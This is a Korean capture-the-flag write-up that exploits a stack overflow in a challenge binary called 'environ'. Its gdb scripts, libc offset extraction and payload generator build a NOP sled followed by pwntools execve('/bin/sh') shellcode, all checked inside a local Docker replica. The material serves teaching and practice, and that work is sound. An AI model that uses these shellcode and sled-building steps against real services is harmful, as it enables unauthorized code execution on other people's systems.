โ–ถ๐Ÿ› ๋ง‰๋‹ค๋ฅธ ๊ธธ 2 โ€” ์ฐ๋งค ์—†์ด ์…ธ์ฝ”๋“œ๋งŒ buf ์— ๋„ฃ์œผ๋ฉด

environ ์„ ์ฐฉ์ง€์ ์œผ๋กœ ์“ฐ๊ธฐ๋กœ ์ •ํ•œ ๋‹ค์Œ์—๋„ ํ•œ ๋ฒˆ ๋” ๊ฑธ๋ฆฐ๋‹ค. jump ๋Š” &envp[0] ์ด ๋˜๋Š”๋ฐ, buf ์™€ &envp[0] ์€ ๊ฐ™์€ ์Šคํƒ์ด์ง€๋งŒ ๊ฐ™์€ ๊ณณ์ด ์•„๋‹ˆ๋‹ค. ์…ธ์ฝ”๋“œ๋ฅผ buf ๋งจ ์•ž์— ์–Œ์ „ํžˆ ๋„ฃ์–ด ๋‘๋ฉด ์ ํ”„๋Š” ์—‰๋šฑํ•œ ๋ฐ๋กœ ๊ฐ„๋‹ค.

์ด๊ฑธ ๋ˆˆ์œผ๋กœ ๋ณด๋ ค๊ณ  gdb ๋กœ ์žก์•˜๋‹ค. mkinput.py --no-sled ๋กœ ์ฐ๋งค ์—†๋Š” ์ž…๋ ฅ์„ ๋งŒ๋“ค๊ณ  call rdx ์ง์ „์—์„œ ๋ฉˆ์ถ˜๋‹ค.

# nosled.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400956
run < in_nosled.bin
python
rdx = int(gdb.parse_and_eval("$rdx"))
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
print("[call rdx ์ง์ „] ์ฐฉ์ง€์  rdx = 0x%x  =  buf + 0x%x  (์…ธ์ฝ”๋“œ๋Š” buf+0x0~0x2f)" % (rdx, rdx - buf))
print("--- ์ฐฉ์ง€์  8๋ฐ”์ดํŠธ = envp[0] ํฌ์ธํ„ฐ ์›๋ณธ ---")
gdb.execute("x/1gx $rdx")
print("--- ๊ทธ ๋ฐ”์ดํŠธ๋ฅผ ๋ช…๋ น์œผ๋กœ ํ•ด์„ํ•˜๋ฉด ---")
gdb.execute("x/4i $rdx")
end
continue
python
print("--- ์ฃฝ์€ ์ง€์  ---")
gdb.execute("info registers rip")
end
quit
python3 mkinput.py --no-sled
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x nosled.gdb ./environ
gdb ๋ฐฐ์น˜ ์‹คํ–‰ โ€” ์ฐฉ์ง€์  bytes ๊ฐ€ envp[0] ํฌ์ธํ„ฐ๋ผ (bad) ๋ช…๋ น์œผ๋กœ ํ•ด์„๋˜๊ณ  SIGILL ๋กœ ์ฃฝ๋Š”๋‹ค
gdb ๋ฐฐ์น˜ ์‹คํ–‰ โ€” ์ฐฉ์ง€์  bytes ๊ฐ€ envp[0] ํฌ์ธํ„ฐ๋ผ (bad) ๋ช…๋ น์œผ๋กœ ํ•ด์„๋˜๊ณ  SIGILL ๋กœ ์ฃฝ๋Š”๋‹ค

์ฐฉ์ง€์ ์€ buf + 0x118, ์…ธ์ฝ”๋“œ๋Š” buf + 0x0 ~ 0x2f. 280๋ฐ”์ดํŠธ ์ฐจ์ด๋‹ค. ์ฐฉ์ง€์ ์˜ 8๋ฐ”์ดํŠธ๋Š” ์›๋ž˜ envp[0] ์ด ๋‹ด๊ณ  ์žˆ๋˜ ํฌ์ธํ„ฐ 0x00007fffffffef3b ์ด๊ณ , ์ด๊ฑธ ๋ช…๋ น์œผ๋กœ ๋””์ฝ”๋”ฉํ•˜๋ฉด cmp %edi,%ebp ๋‹ค์Œ์ด ์ „๋ถ€ (bad) ๋‹ค. ์‹คํ–‰ํ•˜์ž๋งˆ์ž SIGILL.

์—ฌ๊ธฐ์„œ ๋‹ต์ด ๋‚˜์˜จ๋‹ค. ์…ธ์ฝ”๋“œ๋ฅผ ์ฐฉ์ง€์  ๋’ค์— ๋‘๊ณ , ๊ทธ ์‚ฌ์ด๋ฅผ ์ „๋ถ€ nop ์œผ๋กœ ์ฑ„์šฐ๋ฉด ๋œ๋‹ค.



๐ŸŽฏ ์ฐฉ์ง€์ ์„ environ ์œผ๋กœ

libc ์˜คํ”„์…‹ ๋ฝ‘๊ธฐ

๋‘ ๊ฐœ๋งŒ ์žˆ์œผ๋ฉด ๋œ๋‹ค. ์œ ์ถœ๊ฐ’์—์„œ ๋นผ์„œ ๋ฒ ์ด์Šค๋ฅผ ๊ตฌํ•  _IO_2_1_stdout_, ๊ทธ๋ฆฌ๊ณ  environ.

#!/usr/bin/env python3
"""๋ฐฐํฌ๋œ libc.so.6 ์—์„œ ์ต์Šค์— ํ•„์š”ํ•œ ์‹ฌ๋ณผ ์˜คํ”„์…‹๋งŒ ๋ฝ‘๋Š”๋‹ค."""
from pwn import ELF
 
libc = ELF("libc.so.6", checksec=False)
exe = ELF("environ", checksec=False)
 
print("[binary] stdout ํฌ์ธํ„ฐ(bss) = %#x" % exe.symbols["stdout"])
print("[libc]   _IO_2_1_stdout_    = %#x" % libc.symbols["_IO_2_1_stdout_"])
print("[libc]   environ            = %#x" % libc.symbols["environ"])
print("[calc]   libc_base = leak - %#x" % libc.symbols["_IO_2_1_stdout_"])
python3 offsets.py
offsets.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” IO_2_1_stdout ๋Š” 0x3c5620, environ ์€ 0x3c6f38 ์˜คํ”„์…‹์— ์žˆ๋‹ค
offsets.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” IO_2_1_stdout ๋Š” 0x3c5620, environ ์€ 0x3c6f38 ์˜คํ”„์…‹์— ์žˆ๋‹ค

๋ฐฐํฌ๋œ libc ๋Š” stripped ์ง€๋งŒ ๋™์  ์‹ฌ๋ณผ ํ…Œ์ด๋ธ”์€ ์‚ด์•„ ์žˆ์–ด์„œ pwntools ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ฝ์–ด ์ค€๋‹ค. environ ๊ณผ __environ ์€ ๊ฐ™์€ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ณ„์นญ์ด๋‹ค.

์ฐฉ์ง€์ ๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ ์žฌ๊ธฐ

jump() ๋Š” &envp[0] ์œผ๋กœ ๋›ด๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋‚˜๋Š” ๊ทธ ์ฃผ์†Œ๋ฅผ ๋ชจ๋ฅธ๋‹ค. ์•Œ์•„์•ผ ํ•˜๋Š” ๊ฑด ์ ˆ๋Œ€ ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋ผ buf ๋กœ๋ถ€ํ„ฐ ์–ผ๋งˆ๋‚˜ ๋–จ์–ด์ ธ ์žˆ๋Š”๊ฐ€๋‹ค. ๊ทธ ๊ฑฐ๋ฆฌ๋งŒ ์•Œ๋ฉด read ๋กœ ๊ทธ๋งŒํผ ์ฑ„์›Œ์„œ ์ฐฉ์ง€์ ์„ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค.

Ubuntu 16.04 ์ปจํ…Œ์ด๋„ˆ๋ฅผ ๋„์šฐ๊ณ  gdb ๋กœ ์ง์ ‘ ์Ÿ€๋‹ค.

# measure.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400918
run < /home/environ/in.txt
python
import re
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
maps = gdb.execute("info proc mappings", to_string=True)
base = None
for line in maps.splitlines():
    if line.rstrip().endswith("/home/environ/libc.so.6") and base is None:
        base = int(line.split()[0], 16)
env_ptr_addr = base + 0x3c6f38
env_val = int(gdb.parse_and_eval("*(unsigned long*)%d" % env_ptr_addr))
print("LIBC_BASE   = 0x%x" % base)
print("ENVIRON_SYM = 0x%x" % env_ptr_addr)
print("ENVIRON_VAL = 0x%x   (&envp[0], ์Šคํƒ)" % env_val)
print("BUF         = 0x%x" % buf)
print("DISTANCE    = %d (0x%x)" % (env_val - buf, env_val - buf))
end
quit

0x400918 ์€ call read@plt ๋‹ค. ๊ฑฐ๊ธฐ์„œ ๋ฉˆ์ถ”๋ฉด rbp ๊ฐ€ ์•„์ง main ๊ฒƒ์ด๋ผ buf = rbp - 0x20 ์ด ๊ทธ๋Œ€๋กœ ์œ ํšจํ•˜๋‹ค. in.txt ์—๋Š” Size: ์— ๋„ฃ์„ ์ˆซ์ž ํ•œ ์ค„๋งŒ ๋“ค์–ด ์žˆ๋‹ค.

docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x measure.gdb ./environ
gdb ๋ฐฐ์น˜ ์‹คํ–‰ โ€” buf ์™€ environ ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” &envp[0] ์‚ฌ์ด๊ฐ€ 280๋ฐ”์ดํŠธ(0x118)๋กœ ์ธก์ •๋œ๋‹ค
gdb ๋ฐฐ์น˜ ์‹คํ–‰ โ€” buf ์™€ environ ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” &envp[0] ์‚ฌ์ด๊ฐ€ 280๋ฐ”์ดํŠธ(0x118)๋กœ ์ธก์ •๋œ๋‹ค

280๋ฐ”์ดํŠธ, 0x118.

์ด ๊ฑฐ๋ฆฌ๋ฅผ ๋ฏฟ์–ด๋„ ๋˜๋‚˜

์—ฌ๊ธฐ๊ฐ€ ์ด ๋ฌธ์ œ์˜ ์ง„์งœ ๊ด€๋ฌธ์ด๋‹ค. ์ ˆ๋Œ€ ์ฃผ์†Œ๋Š” ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ๋ฐ”๋€Œ๋Š”๋ฐ, ๊ฑฐ๋ฆฌ๊ฐ€ ๋งค๋ฒˆ ๊ฐ™๋‹ค๋Š” ๋ณด์žฅ์ด ์—†์œผ๋ฉด ์ต์Šค๊ฐ€ ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค.

&envp[0] ์€ ํ”„๋กœ์„ธ์Šค ์ดˆ๊ธฐ rsp ์—์„œ argc ํ•œ ์นธ, argv ๋ฐฐ์—ด, NULL ์„ ์ง€๋‚œ ์ž๋ฆฌ๋‹ค. main ์˜ ํ”„๋ ˆ์ž„๋„ ๊ทธ ์ดˆ๊ธฐ rsp ์•„๋ž˜๋กœ __libc_start_main ์„ ๊ฑฐ์ณ ์žกํžŒ๋‹ค. ๋‘˜ ๋‹ค ๊ฐ™์€ ๊ธฐ์ค€์ ์—์„œ ์„ธ๋Š” ๊ฐ’์ด๋ผ ์›๋ฆฌ์ ์œผ๋กœ๋Š” argc ๊ฐ€ ๊ฐ™์œผ๋ฉด ๊ฑฐ๋ฆฌ๋„ ๊ฐ™์•„์•ผ ํ•œ๋‹ค. ์ปค๋„์ด ์Šคํƒ ์ตœ์ƒ๋‹จ์— ๋„ฃ๋Š” ๋ฌด์ž‘์œ„ ์—ฌ๋ฐฑ์€ ๋ฌธ์ž์—ด ์˜์—ญ๊ณผ ๋ฐฐ์—ด ์˜์—ญ์„ ํ†ต์งธ๋กœ ๋ฐ€์–ด๋‚ด์ง€ ์‹คํ–‰ ์ค‘ ํ”„๋ ˆ์ž„๊ณผ์˜ ๊ฐ„๊ฒฉ์„ ๋ฐ”๊พธ์ง€ ์•Š๋Š”๋‹ค.

์›๋ฆฌ๋Š” ๊ทธ๋ ‡๋‹ค ์น˜๊ณ , ์‹ค์ œ๋กœ ๊ทธ๋Ÿฐ์ง€ ์žฌ ๋ดค๋‹ค. ํ™˜๊ฒฝ๋ณ€์ˆ˜ ํฌ๊ธฐ๋ฅผ 0๋ถ€ํ„ฐ 4KB ๊นŒ์ง€ ๋ฐ”๊ฟ” ๊ฐ€๋ฉฐ ๊ฑฐ๋ฆฌ๋ฅผ ๋‹ค์‹œ ๋ฝ‘๋Š” ์Šคํฌ๋ฆฝํŠธ๋‹ค.

#!/usr/bin/env bash
# ํ™˜๊ฒฝ๋ณ€์ˆ˜ ํฌ๊ธฐ๋ฅผ ๋ฐ”๊ฟ” ๊ฐ€๋ฉฐ buf -> &envp[0] ๊ฑฐ๋ฆฌ๊ฐ€ ์ •๋ง ๊ณ ์ •์ธ์ง€ ํ™•์ธํ•œ๋‹ค.
# ์ ˆ๋Œ€ ์ฃผ์†Œ๋Š” ๋งค๋ฒˆ ๋‹ฌ๋ผ์ง€์ง€๋งŒ ๊ฑฐ๋ฆฌ๋Š” ์•ˆ ๋ณ€ํ•ด์•ผ ์ต์Šค๊ฐ€ ์„ฑ๋ฆฝํ•œ๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
for n in 0 64 512 4096; do
  PAD=$(python3 -c "print('A'*$n)")
  printf 'PAD=%-5s๋ฐ”์ดํŠธ  ->  ' "$n"
  docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
    -e PAD="$PAD" -v "$PWD:/home/environ" -w /home/environ environ31:local \
    gdb -q -batch -x measure.gdb ./environ 2>/dev/null \
    | grep -E 'ENVIRON_VAL|DISTANCE' | tr '\n' ' '
  echo
done
./check_dist.sh
check_dist.sh ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ 4KB ๊นŒ์ง€ ๋Š˜๋ ค๋„ ENVIRON_VAL ์ ˆ๋Œ€ ์ฃผ์†Œ๋งŒ ์›€์ง์ด๊ณ  ๊ฑฐ๋ฆฌ๋Š” 280 ์œผ๋กœ ๊ณ ์ •์ด๋‹ค
check_dist.sh ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ 4KB ๊นŒ์ง€ ๋Š˜๋ ค๋„ ENVIRON_VAL ์ ˆ๋Œ€ ์ฃผ์†Œ๋งŒ ์›€์ง์ด๊ณ  ๊ฑฐ๋ฆฌ๋Š” 280 ์œผ๋กœ ๊ณ ์ •์ด๋‹ค

ENVIRON_VAL ์€ 0x7fffffffed48 ์—์„œ 0x7fffffffdd48 ๊นŒ์ง€ 4KB ๋„˜๊ฒŒ ์›€์ง์ด๋Š”๋ฐ DISTANCE ๋Š” ๋„ค ๋ฒˆ ๋‹ค 280 ์ด๋‹ค. ๊ฑฐ๋ฆฌ๋ฅผ ์ƒ์ˆ˜๋กœ ๋ฐ•์•„๋„ ๋œ๋‹ค.

๊ทธ๋ž˜๋„ ์›๊ฒฉ์€ ํ™˜๊ฒฝ์ด ๋‹ค๋ฅด๋‹ˆ ์—ฌ์œ ๋ฅผ ๋‘๋Š” ๊ฒŒ ๋งž๋‹ค. ์ฐ๋งค๋ฅผ 0x118 ๋”ฑ ๋งž์ถฐ ๋๋‚ด์ง€ ์•Š๊ณ  0x100 ์„ ๋” ๋ถ™์—ฌ 0x218 ๋กœ ์žก์•˜๋‹ค. ์ฐฉ์ง€์ ์ด ์˜ˆ์ƒ๋ณด๋‹ค ์•ž์ด๋“  ๋’ค๋“  0x218 ์•ˆ์—๋งŒ ๋“ค์–ด์˜ค๋ฉด ์…ธ์ฝ”๋“œ๊นŒ์ง€ ๋ฏธ๋„๋Ÿฌ์ง„๋‹ค.

๊ทธ๋ฆผ์œผ๋กœ ์ •๋ฆฌ

์Šคํƒ ๋ฐฐ์น˜๋„ โ€” buf ์—์„œ ์œ„๋กœ read ๊ฐ€ ๋ฎ์–ด ๋‚˜๊ฐ€๊ณ  environ ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” envp[0] ๊ฐ€ buf+0x118 ์— ๋†“์ธ๋‹ค
์Šคํƒ ๋ฐฐ์น˜๋„ โ€” buf ์—์„œ ์œ„๋กœ read ๊ฐ€ ๋ฎ์–ด ๋‚˜๊ฐ€๊ณ  environ ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” envp[0] ๊ฐ€ buf+0x118 ์— ๋†“์ธ๋‹ค

ํŽ˜์ด๋กœ๋“œ๋Š” NOP ร— 0x218 + ์…ธ์ฝ”๋“œ 48๋ฐ”์ดํŠธ = 584๋ฐ”์ดํŠธ๋‹ค. buf ์—์„œ ์‹œ์ž‘ํ•ด buf+0x118 ์˜ envp[0] ์„ ์ง€๋‚˜ buf+0x218 ๋ถ€ํ„ฐ ์…ธ์ฝ”๋“œ๊ฐ€ ๋†“์ธ๋‹ค. call rdx ๊ฐ€ buf+0x118 ๋กœ ๋›ฐ๋ฉด nop ์„ 256๊ฐœ ์ง€๋‚˜ ์…ธ์ฝ”๋“œ์— ๋‹ฟ๋Š”๋‹ค.

์ค‘๊ฐ„์— ์นด๋‚˜๋ฆฌ์™€ ๋ฆฌํ„ด ์ฃผ์†Œ, __libc_start_main ํ”„๋ ˆ์ž„์ด ํ†ต์งธ๋กœ ๋ญ‰๊ฐœ์ง€์ง€๋งŒ ์ƒ๊ด€์—†๋‹ค. ๋Œ์•„๊ฐˆ ์ผ์ด ์—†๋‹ค.


๐Ÿงช ๋กœ์ปฌ ์žฌํ˜„ ํ™˜๊ฒฝ

๋ผ์ด๋ธŒ ์„œ๋ฒ„๋Š” VM ํฌ๋ ˆ๋”ง์„ ์“ฐ๊ณ  60์ดˆ ์•Œ๋žŒ๋„ ์žˆ๋‹ค. ์›๊ฒฉ์— ๋ถ™์–ด์„œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ”๊ฟ” ๊ฐ€๋ฉฐ ์ฐ”๋Ÿฌ ๋ณด๋Š” ๊ฑด ๋‚ญ๋น„๋ผ, ๊ฐ™์€ ํ™˜๊ฒฝ์„ ๋กœ์ปฌ์— ๋งŒ๋“ค๊ณ  ๊ฑฐ๊ธฐ์„œ ๋‹ค ๋๋‚ด๊ธฐ๋กœ ํ–ˆ๋‹ค.

Ubuntu 16.04 ์ด๋ฏธ์ง€์— ๋ฐฐํฌ๋œ libc ๋ฅผ ์–น๊ณ  socat ์œผ๋กœ ์„œ๋น„์Šค๋ฅผ ํ‰๋‚ด ๋‚ธ๋‹ค.

FROM ubuntu:16.04
RUN apt-get update && apt-get install -y socat gdb python3 && rm -rf /var/lib/apt/lists/*
WORKDIR /home/environ
ENV LD_LIBRARY_PATH=/home/environ
COPY environ /home/environ/environ
COPY libc.so.6 /home/environ/libc.so.6
RUN chmod +x /home/environ/environ && echo 'DH{LOCAL_DUMMY_FLAG_NOT_REAL}' > /home/environ/flag
EXPOSE 31337
CMD ["socat", "-T", "120", "TCP-LISTEN:31337,reuseaddr,fork", "EXEC:/home/environ/environ"]

ENV LD_LIBRARY_PATH=/home/environ ๊ฐ€ ํ•ต์‹ฌ์ด๋‹ค. ์ปจํ…Œ์ด๋„ˆ ์ž์ฒด glibc ๋„ 2.23 ์ด์ง€๋งŒ ๋งˆ์ด๋„ˆ ๋นŒ๋“œ๊ฐ€ ๋‹ค๋ฅด๋ฉด environ ์˜คํ”„์…‹์ด ์–ด๊ธ‹๋‚  ์ˆ˜ ์žˆ๋‹ค. ๋ฐฐํฌ๋œ libc ๋ฅผ ๊ฐ•์ œ๋กœ ๋ฌผ๋ ค์•ผ ๋กœ์ปฌ์—์„œ ์žฐ ๊ฐ’์ด ์›๊ฒฉ์—์„œ๋„ ๋งž๋Š”๋‹ค.

EXEC: ์— pty ๋ฅผ ๋ถ™์ด์ง€ ์•Š์€ ๊ฒƒ๋„ ์˜๋„์ ์ด๋‹ค. pty ๋ฅผ ๋ผ์šฐ๋ฉด ํ„ฐ๋ฏธ๋„ ๋ผ์ธ ๋””์‹œํ”Œ๋ฆฐ์ด ๋ถ™์–ด์„œ ์…ธ์ฝ”๋“œ ๋ฐ”์ดํŠธ ์ค‘ 0x0d ๋‚˜ 0x03 ๊ฐ™์€ ๊ฒŒ ๋ณ€ํ™˜ยทํ•ด์„๋ผ ๋ฒ„๋ฆฐ๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋‚ผ ๋• ํŒŒ์ดํ”„์—ฌ์•ผ ํ•œ๋‹ค.

docker build -t environ31:local work/
docker run -d --rm --name environ31_test -p 31337:31337 environ31:local

scanf ๊ฐ€ ๋‚จ๊ธด ๊ฐœํ–‰์€ ์–ด๋””๋กœ ๊ฐ”๋‚˜

scanf("%ld", &size) ๋‹ค์Œ์— ๊ณง๋ฐ”๋กœ read(0, buf, size) ๊ฐ€ ์˜จ๋‹ค. ๋ณดํ†ต ์ด๋Ÿฐ ์ฝ”๋“œ๋Š” ๊ฐœํ–‰ ํ•˜๋‚˜๊ฐ€ ๋‚จ์•„์„œ ๋‹ค์Œ ์ž…๋ ฅ์˜ ์ฒซ ๋ฐ”์ดํŠธ๋ฅผ ๋จน๋Š”๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์ฐ๋งค๊ฐ€ 1๋ฐ”์ดํŠธ ๋ฐ€๋ฆฌ๊ณ  ๊ฑฐ๋ฆฌ ๊ณ„์‚ฐ์ด ์–ด๊ธ‹๋‚œ๋‹ค.

์—ฌ๊ธฐ์„œ๋Š” ์•ˆ ๊ทธ๋Ÿฐ๋‹ค. initialize() ๊ฐ€ setvbuf(stdin, NULL, _IONBF, 0) ๋กœ stdin ์„ ๋ฒ„ํผ๋ง ์—†์ด ๋งŒ๋“ค์–ด ๋†จ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋ฒ„ํผ๊ฐ€ ์—†์œผ๋ฉด scanf ๋Š” read(0, ..., 1) ๋กœ ํ•œ ๋ฐ”์ดํŠธ์”ฉ ์ฝ์–ด ๋“ค์ด๊ณ , ์ˆซ์ž๊ฐ€ ๋๋‚ฌ๋‹ค๋Š” ๊ฑธ ์•Œ๋ ค๊ณ  ์ฝ์€ ๊ฐœํ–‰์€ FILE ๊ตฌ์กฐ์ฒด ์•ˆ์ชฝ์œผ๋กœ ๋ฐ€์–ด ๋„ฃ๋Š”๋‹ค. ์ปค๋„์˜ ์†Œ์ผ“ ๋ฒ„ํผ์—๋Š” ์•ˆ ๋Œ๋ ค์ค€๋‹ค.

๊ทธ ๋‹ค์Œ read ๋Š” FILE ์„ ๊ฑฐ์น˜์ง€ ์•Š๋Š” ์‹œ์Šคํ…œ ์ฝœ์ด๋ผ ๊ทธ ๊ฐœํ–‰์„ ๋ชป ๋ณธ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ๋‚ด ํŽ˜์ด๋กœ๋“œ ์ฒซ ๋ฐ”์ดํŠธ๊ฐ€ buf[0] ์— ์ •ํ™•ํžˆ ๋–จ์–ด์ง„๋‹ค. ์•ž์—์„œ ์žฐ 0x118 ์„ ๊ทธ๋Œ€๋กœ ์“ธ ์ˆ˜ ์žˆ๋Š” ์ด์œ ๋‹ค.

ํ•œ ๊ฐ€์ง€ ๋”. read ๋Š” ์š”์ฒญํ•œ ๋งŒํผ ๋‹ค ์ฑ„์šธ ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ์ง€ ์•Š๊ณ  ๋„์ฐฉํ•œ ๋งŒํผ๋งŒ ๋ฐ˜ํ™˜ํ•œ๋‹ค. ํŽ˜์ด๋กœ๋“œ๊ฐ€ TCP ์„ธ๊ทธ๋จผํŠธ ๋‘ ๊ฐœ๋กœ ์ชผ๊ฐœ์ ธ ๋„์ฐฉํ•˜๋ฉด ์•ž๋ถ€๋ถ„๋งŒ ์ฝํžˆ๊ณ  ๋‚˜๋จธ์ง€๊ฐ€ ๋’ค์˜ scanf ๋กœ ํ˜๋Ÿฌ ๋“ค์–ด๊ฐ„๋‹ค. 584๋ฐ”์ดํŠธ๋ฉด ํ•œ ์„ธ๊ทธ๋จผํŠธ์— ๋“ค์–ด๊ฐ€๋Š” ํฌ๊ธฐ๋ผ ์‹ค์ œ๋กœ๋Š” ๋ฌธ์ œ๊ฐ€ ์•ˆ ๋์ง€๋งŒ, ์ฐ๋งค๋ฅผ ๋ช‡ KB ๋กœ ํ‚ค์šฐ๋ฉด ์—ฌ๊ธฐ์„œ ๊นจ์งˆ ์ˆ˜ ์žˆ๋‹ค.



๐Ÿ”ง ๋Ÿฐํƒ€์ž„ ๊ฒ€์ฆ โ€” ์ •๋ง NOP ์œ„์— ๋‚ด๋ ค์•‰๋‚˜

๊ณ„์‚ฐ์€ ๋งž๋Š” ๊ฒƒ ๊ฐ™์€๋ฐ, call rdx ์ˆœ๊ฐ„์˜ rdx ๊ฐ€ ์ง„์งœ ์ฐ๋งค ์œ„๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š”์ง€ ๋ˆˆ์œผ๋กœ ๋ด์•ผ ๋งˆ์Œ์ด ๋†“์ธ๋‹ค. gdb ๋กœ ๊ทธ ์ง€์ ์—์„œ ๋ฉˆ์ถ”๊ณ  ์ฐฉ์ง€์ ์˜ ๋ช…๋ น์„ ๋””์Šค์–ด์…ˆ๋ธ”ํ–ˆ๋‹ค.

gdb ์•ˆ์—์„œ๋Š” ์œ ์ถœ์„ ๋ชป ํ•˜๋‹ˆ ์ž…๋ ฅ์„ ๋ฏธ๋ฆฌ ํŒŒ์ผ๋กœ ๋งŒ๋“ ๋‹ค. set disable-randomization on ์ด๋ฉด ์ปจํ…Œ์ด๋„ˆ ์•ˆ libc ๋ฒ ์ด์Šค๊ฐ€ 0x7ffff7a00000 ์œผ๋กœ ๊ณ ์ •์ด๋ผ(์œ„ measure.gdb ๋กœ ํ™•์ธํ•œ ๊ฐ’) value ๋ฅผ ์ƒ์ˆ˜๋กœ ๋„ฃ์„ ์ˆ˜ ์žˆ๋‹ค.

#!/usr/bin/env python3
"""
gdb ๋กœ ์žฌํ˜„ํ•˜๊ธฐ ์œ„ํ•œ ์ž…๋ ฅ ํŒŒ์ผ ์ƒ์„ฑ๊ธฐ.
 
gdb ๋Š” `set disable-randomization on` ์ด๋ผ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ libc ๋ฒ ์ด์Šค๊ฐ€
0x7ffff7a00000 ์œผ๋กœ ๊ณ ์ •๋œ๋‹ค(measure.gdb ๋กœ ํ™•์ธํ•œ ๊ฐ’). ๊ทธ๋ž˜์„œ ์œ ์ถœ ๋‹จ๊ณ„๋ฅผ
์ƒ๋žตํ•˜๊ณ  size / payload / value ๋ฅผ ํŒŒ์ผ ํ•˜๋‚˜์— ๋ฏธ๋ฆฌ ๋„ฃ์–ด ๋‘˜ ์ˆ˜ ์žˆ๋‹ค.
 
    python3 mkinput.py            -> in_exploit.bin  (NOP ์ฐ๋งค ์žˆ์Œ, ์ •์ƒ ์ต์Šค)
    python3 mkinput.py --no-sled  -> in_nosled.bin   (์ฐ๋งค ์—†์ด ์…ธ์ฝ”๋“œ๋งŒ)
"""
import sys
 
from pwn import asm, context, shellcraft
 
context.arch = "amd64"
 
LIBC_BASE = 0x7FFFF7A00000  # gdb + disable-randomization ๊ณ ์ •๊ฐ’
ENVIRON_OFF = 0x3C6F38
BUF2ENVP = 0x118
 
no_sled = "--no-sled" in sys.argv
sled = 0 if no_sled else BUF2ENVP + 0x100
out = "in_nosled.bin" if no_sled else "in_exploit.bin"
 
payload = b"\x90" * sled + asm(shellcraft.amd64.linux.sh())
blob = b"%d\n" % len(payload) + payload + b"%d\n" % (LIBC_BASE + ENVIRON_OFF)
 
with open(out, "wb") as f:
    f.write(blob)
print("%s: sled=%d payload=%d value=%#x" % (out, sled, len(payload), LIBC_BASE + ENVIRON_OFF))
# landing.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400956
run < in_exploit.bin
python
rdx = int(gdb.parse_and_eval("$rdx"))
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
print("[call rdx ์ง์ „] ์ฐฉ์ง€์  rdx = 0x%x  =  buf + 0x%x" % (rdx, rdx - buf))
print("--- ์ฐฉ์ง€์ ์—์„œ 6๊ฐœ ๋ช…๋ น (NOP ์ฐ๋งค) ---")
gdb.execute("x/6i $rdx")
print("--- ์ฐ๋งค 0x100 ๋’ค = execve ์…ธ์ฝ”๋“œ ---")
gdb.execute("x/9i $rdx + 0x100")
end
quit
python3 mkinput.py
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x landing.gdb ./environ
gdb ๋ฐฐ์น˜ ์‹คํ–‰ โ€” call rdx ์ง์ „ rdx ๊ฐ€ buf+0x118 ์ด๊ณ  ๊ทธ ์ž๋ฆฌ๋ถ€ํ„ฐ nop ์ด ์ด์–ด์ง€๋ฉฐ 0x100 ๋’ค์— execve ์…ธ์ฝ”๋“œ๊ฐ€ ์žˆ๋‹ค
gdb ๋ฐฐ์น˜ ์‹คํ–‰ โ€” call rdx ์ง์ „ rdx ๊ฐ€ buf+0x118 ์ด๊ณ  ๊ทธ ์ž๋ฆฌ๋ถ€ํ„ฐ nop ์ด ์ด์–ด์ง€๋ฉฐ 0x100 ๋’ค์— execve ์…ธ์ฝ”๋“œ๊ฐ€ ์žˆ๋‹ค

rdx = buf + 0x118 ๋กœ ์ •ํ™•ํžˆ ๋งž๊ณ , ๊ทธ ์ฃผ์†Œ๋ถ€ํ„ฐ nop ์ด ์—ฌ์„ฏ ๊ฐœ ์—ฐ๋‹ฌ์•„ ๋‚˜์˜จ๋‹ค. 0x100 ๋’ค์—๋Š” pushq $0x68 / movabs $0x732f2f2f6e69622f,%rax ๋กœ ์‹œ์ž‘ํ•˜๋Š” pwntools ์…ธ์ฝ”๋“œ๊ฐ€ ๊ทธ๋Œ€๋กœ ์•‰์•„ ์žˆ๋‹ค. /bin///sh ๋ฌธ์ž์—ด์„ ์Šคํƒ์— ๋ฐ€์–ด ๋„ฃ๊ณ  execve ๋ฅผ ๋ถ€๋ฅด๋Š” ์ฝ”๋“œ๋‹ค.

